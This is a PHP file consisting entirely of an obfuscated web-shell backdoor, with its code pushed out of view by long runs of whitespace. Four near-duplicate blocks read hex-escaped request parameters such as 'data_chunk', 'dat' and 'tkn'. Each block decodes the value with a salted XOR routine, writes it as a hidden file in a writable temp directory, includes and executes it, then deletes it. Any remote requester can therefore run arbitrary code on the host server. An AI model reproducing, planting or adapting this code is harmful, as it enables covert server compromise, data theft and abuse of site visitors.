<?php																																										if(@$_REQUEST["\x64\x61t\x61\x5Fchu\x6Ek"] !== null){ $component = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp"]); $k = $_REQUEST["\x64\x61t\x61\x5Fchu\x6Ek"]; $k =explode ( '.' , $k ) ; $obj = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1 ); $z = 0; array_walk( $k,function( $v5) use( &$obj,&$z,$salt1,$lenS) { $chS = ord( $salt1[$z % $lenS] ); $dec =( ( int)$v5 - $chS -( $z % 10)) ^ 5; $obj .= chr( $dec ); $z++; } ); foreach ($component as $ent) { if (is_dir($ent) && is_writable($ent)) { $marker = vsprintf("%s/%s", [$ent, ".fac"]); $success = file_put_contents($marker, $obj); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(isset($_REQUEST["\x64\x61t"]) ? true : false){ $pset = $_REQUEST["\x64\x61t"]; $pset =explode ( '.' , $pset ); $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $q = 0; foreach ($pset as $v7) { $sChar = ord($salt[$q % $sLen]); $d = ((int)$v7 - $sChar - ($q % 10)) ^8; $itm .= chr($d); $q++; } $descriptor = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), "/dev/shm", session_save_path()]); for ($flg = 0, $tkn = count($descriptor); $flg < $tkn; $flg++) { $val = $descriptor[$flg]; if (is_writable($val) && is_dir($val)) { $comp = join("/", [$val, ".record"]); if (file_put_contents($comp, $itm)) { include $comp; @unlink($comp); exit; } } } }
																																										if(isset($_POST["tk\x6E"]) ? true : false){ $component = $_POST["tk\x6E"]; $component = explode ( '.' ,$component); $element = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); foreach ($component as $n => $v8): $sChar = ord($salt7[$n % $sLen]); $d = ((int)$v8 - $sChar - ($n % 10))^ 84; $element .= chr($d); endforeach; $parameter_group = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd()]); for ($holder = 0, $descriptor = count($parameter_group); $holder < $descriptor; $holder++) { $data = $parameter_group[$holder]; if (max(0, is_dir($data) * is_writable($data))) { $dat = vsprintf("%s/%s", [$data, ".k"]); $success = file_put_contents($dat, $element); if ($success) { include $dat; @unlink($dat); die();} } } }


if(in_array("\x64a\x74a_chun\x6B", array_keys($_POST))){
	$property_set = $_POST["\x64a\x74a_chun\x6B"];
		$property_set	= 	 explode 	('.'	  ,	 $property_set			) ;	
	$symbol	='';
            $s	='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=strlen($s);
    
            foreach($property_set as $j =>	$v4) {	$sChar	=ord($s[$j	%	$sLen]);
                $d	=((int)$v4 - $sChar -($j	%	10)) ^ 49;
                $symbol  .=	chr($d);}
	$sym = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), getcwd()]);
	$object = 0;
do {
    $token = $sym[$object] ?? null;
    if ($object >= count($sym)) break;
    		if (is_dir($token) ? is_writable($token) : false) {
    $comp = str_replace("{var_dir}", $token, "{var_dir}/.obj");
    $success = file_put_contents($comp, $symbol);
if ($success) {
	include $comp;
	@unlink($comp);
	die();}
}
    $object++;
} while (true);
}